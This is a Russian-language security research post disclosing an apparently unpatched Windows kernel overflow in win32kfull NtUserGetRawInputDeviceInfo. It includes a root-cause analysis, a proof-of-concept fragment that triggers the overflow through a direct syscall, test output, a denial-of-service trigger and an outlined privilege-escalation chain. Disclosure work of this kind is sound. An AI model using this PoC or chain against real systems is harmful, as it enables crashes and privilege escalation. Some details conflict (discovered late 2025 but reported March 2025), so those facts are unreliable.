win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo

Posted on 15 апреля, 2026 by AkaTor

Категория: Vulnerability Research / Kernel
Уровень: Advanced (Red Team / Security Research)
Автор: Aka Tor
CVE: не присвоен (MSRC: низкая степень серьёзности) | **CWE:** CWE-119
Затронутые версии: Windows 11 25H2 Build 26200.8117, Windows 11 Canary Build 28020
Компонент: win32kfull.sys — `NtUserGetRawInputDeviceInfo` / `RIDI_DEVICENAME`
Статус: Сообщено в MSRC, закрыто как низкая степень серьёзности, патча нет

Введение

В конце 2025 года в ходе изучения поверхности атаки win32k обнаружено переполнение буфера в функции ядра `NtUserGetRawInputDeviceInfo` при обработке кода команды `RIDI_DEVICENAME` (0x20000007). Уязвимость позволяет ядру записать данные за пределы буфера, проверенного `ProbeForWrite`, в соседнюю память пользовательского режима.

Ошибка вызвана путаницей единиц измерения: функция считает размер имени устройства в символах (широкие символы, WCHAR), но передаёт это значение в `ProbeForWrite` как количество *байт*. Затем `memcpy` копирует фактическое число байт, вдвое большее проверенного. В итоге ядро записывает вдвое больше данных, чем прошло проверку безопасности.

Статья содержит разбор корневой причины, результаты работы проверочного кода и технические детали субмита в MSRC.

---

1. Контекст: NtUserGetRawInputDeviceInfo и RIDI_DEVICENAME

`NtUserGetRawInputDeviceInfo` — системный вызов win32k, доступный через `win32u.dll`. Документированная функция пространства пользователя — `GetRawInputDeviceInfoW` из `user32.dll` — является обёрткой над этим вызовом.

Код команды `RIDI_DEVICENAME` запрашивает путь к устройству в виде строки широких символов. Например:

```
\\?\HID#VID_046D&PID_C52B&MI_00#8&3a4e9d3e&0&0000#{4d1e55b2-...}
```

Обёртка `user32.dll` скрывает ошибку: она сначала запрашивает размер, выделяет буфер нужного размера и затем вызывает системный вызов. Поэтому ошибка достижима только при прямом вызове `NtUserGetRawInputDeviceInfo` через `win32u.dll` — что доступно любому непривилегированному процессу.

---

2. Корневая причина

Уязвимый участок кода (псевдокод по результатам декомпиляции, смещение `0x1400a7c30` в win32kfull.sys):

```
// RIDI_DEVICENAME ветка в NtUserGetRawInputDeviceInfo
// (win32kfull.sys, смещение memcpy: 0x1400a7d46)

// rsi = количество символов имени устройства
rsi = (WORD[device + 0xC0] >> 1) + 1;  // размер в WCHAR

// ОШИБКА: *pcbSize содержит количество символов, а не байт
*pcbSize = rsi;

// ProbeForWrite проверяет rsi БАЙТ — но rsi это количество СИМВОЛОВ
ProbeForWrite(userBuffer, *pcbSize, 4);      // проверяет N байт

// memcpy копирует фактический размер в байтах = 2 * N
memcpy(userBuffer, deviceName, WORD[device + 0xC0]);  // копирует 2*N
```

байт

Переполнение:

```
ProbeForWrite проверяет:  N байт         (количество символов)
memcpy копирует:          2*N байт       (фактический размер строки)
Переполнение:             N байт         (= длина имени устройства)
```

Простое исправление:

```
// Правильно: передавать размер в байтах
ProbeForWrite(userBuffer, *pcbSize * sizeof(WCHAR), 4);
```

---

3. Почему нет синего экрана

Отсутствие BSOD — не признак безопасности ошибки. Это признак того, что переполнение *успешно завершилось*.

Ядро использует структурную обработку исключений (`__try/__except`) при записи в память пользователя. Синий экран возникает только если переполнение попадает в *недоступную* страницу. Если соседняя память выделена (обычное состояние кучи), ядро молча записывает в неё данные. Исключения нет, дампа нет — но повреждение уже произошло.

Проверочный код использует именно это свойство: он выделяет смежный блок памяти с метками-«сторожами» сразу после основного буфера. После вызова функции проверяется, перезаписаны ли метки. Перезаписанные метки доказывают переполнение без каких-либо сбоев.

---

4. Проверочный код

Схема работы:

1. Загрузить `NtUserGetRawInputDeviceInfo` напрямую из `win32u.dll` (в обход обёртки user32)

2. Перечислить устройства через `GetRawInputDeviceList`, взять первое
3. Запросить фактический размер имени через обёртку `GetRawInputDeviceInfoW` → получить N символов
4. Выделить блок: `[основной_буфер: N байт][метки: 128 × 0xCC]`
5. Вызвать системный вызов напрямую, передав `pcbSize = N` (символы, не байты)
6. Проверить метки на наличие перезаписи

```
/* Ключевая часть проверочного кода */

UINT small_size = actual_size_chars;  // N символов — ядро считает их
байтами

SIZE_T total = small_size + CANARY_SIZE;
BYTE *block = VirtualAlloc(NULL, total, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

BYTE *small_buf = block;
BYTE *canary    = block + small_size;

memset(small_buf, 0xAA, small_size);
memset(canary,    0xCC, CANARY_SIZE);

UINT passed_size = small_size;
NtUserGetRawInputDeviceInfo(hDevice, RIDI_DEVICENAME, small_buf,
&passed_size);

// Подсчёт перезаписанных меток
int overflow_count = 0;
for (int i = 0; i < CANARY_SIZE; i++)
    if (canary[i] != 0xCC) overflow_count++;
```

---

5. Результаты

Подтверждено на двух сборках:

Windows 11 25H2 Build 26200.8117 (win32kfull.sys 10.0.26100.8115)

```
[+] NtUserGetRawInputDeviceInfo @ 0x... (win32u.dll, прямой вызов)
[+] Дескриптор устройства: 0x00000194XXXXXXXXX

[+] Имя устройства: 69 символов = 138 байт

[+] Размещение:
    small_buf @ 0x00000241E16E0000  размер=69  (заполнен 0xAA)
    метки     @ 0x00000241E16E0045  размер=128 (заполнен 0xCC)

[*] Вызов NtUserGetRawInputDeviceInfo(RIDI_DEVICENAME) напрямую...
[*] Возвращаемое значение: 0x00000045 (69)
[*] pcbSize после вызова: 69

[!!!] ПЕРЕПОЛНЕНИЕ ПОДТВЕРЖДЕНО: 69/128 байт меток перезаписано!
[!!!] ProbeForWrite проверил 69 байт, ядро записало 138 байт суммарно.
[!!!] Ядро записало в память пользователя по адресам
[!!!] [0x00000241E16E0045, 0x00000241E16E008A) БЕЗ проверки
ProbeForWrite.

[*] Содержимое переполнения (фрагмент имени устройства из пула ядра):
    ".e.4.4.c.-.5.6.e.f.-.1.1.d.1.-.b.c.8.c.-.0.0.a.0.c.9.1.4.0.5.d.d"
```

Windows 11 Canary Build 28020 (win32kfull.sys 10.0.28000.1803)

```
[!!!] ПЕРЕПОЛНЕНИЕ ПОДТВЕРЖДЕНО: 89/128 байт меток перезаписано!
[!!!] ProbeForWrite проверил 89 байт, ядро записало 178 байт суммарно.
[!!!] Размер переполнения: 89 байт
```

Ошибка присутствует в обеих ветках разработки — стабильной и экспериментальной.

---

6. Способность к эксплуатации

Отказ в обслуживании: тривиально, стабильно воспроизводится. Достаточно разместить охраняемую страницу (`PAGE_NOACCESS`) после буфера — ядро попадёт в неё

и вызовет `SYSTEM_SERVICE_EXCEPTION`.

Повышение привилегий: сложнее. Содержимое переполнения — имя устройства из пула ядра (строка Unicode, частично управляемая). Ограничения:

- Записываемые данные — имя устройства, управление содержимым ограничено
- Метаданные сегментной кучи увеличивают расстояние между объектами
- Полезная нагрузка зафиксирована структурой имени устройства

Управляемость может быть улучшена через регистрацию виртуального HID-устройства с заданным именем. Это позволяет контролировать содержимое переполнения и целенаправленно перезаписывать соседние объекты кучи — указатели на функции, таблицы вызовов обратного вызова, объекты COM.

Классическая цепочка: распределение кучи по образцу → размещение целевого объекта непосредственно после буфера → вызов системного вызова → перезапись → использование испорченного объекта.

---

7. Почему обёртка user32 не уязвима

`user32!GetRawInputDeviceInfoW` выполняет два вызова: сначала запрашивает размер (`pData = NULL`), затем самостоятельно выделяет буфер нужного объёма и вызывает системный вызов повторно. В этом случае переданный `pcbSize` всегда соответствует фактическому размеру буфера, и переполнения не происходит.

Ошибка воспроизводится *только* при прямом вызове `NtUserGetRawInputDeviceInfo` из `win32u.dll` с намеренно заниженным значением `pcbSize`. Именно так работает прямой системный вызов.

---

8. Ответ MSRC

Отчёт отправлен в Microsoft Security Response Center в марте 2025 года. В ответе:

> *«After careful investigation, this case has been assessed as low severity and does*

> *not meet Microsoft's bar for immediate servicing. However, we have shared the report with the team responsible for maintaining the product or service. They will take appropriate action as needed to help keep customers protected.»*
>
> *«Since this case was below the bar for immediate servicing, it is not eligible for bounty, and no CVE will be issued.»*

CVE не присвоен, патч не выпущен. Ошибка остаётся присутствовать в актуальных сборках Windows 11 на момент публикации.

---

9. Краткое изложение

Параметр	Значение
Компонент	win32kfull.sys — NtUserGetRawInputDeviceInfo
Код команды	RIDI_DEVICENAME (0x20000007)
Класс	Переполнение буфера ядра (CWE-119)
Причина	ProbeForWrite(N символов) + memcpy(2*N байт)
Смещение memcpy	0x1400a7d46 (win32kfull.sys 10.0.26100.8115)
Подтверждено на	26200.8117, 28020 (Canary)
Требуются привилегии	Нет (любой пользователь)
BSOD	Нет при выделенной соседней памяти
Размер переполнения	= длина имени устройства (69–94 байта на типовых системах)
MSRC	Низкая степень серьёзности, CVE не присвоен
Патч	Отсутствует

Исследование проведено на изолированном стенде. Проверочный код опубликован в образовательных целях после получения ответа от MSRC.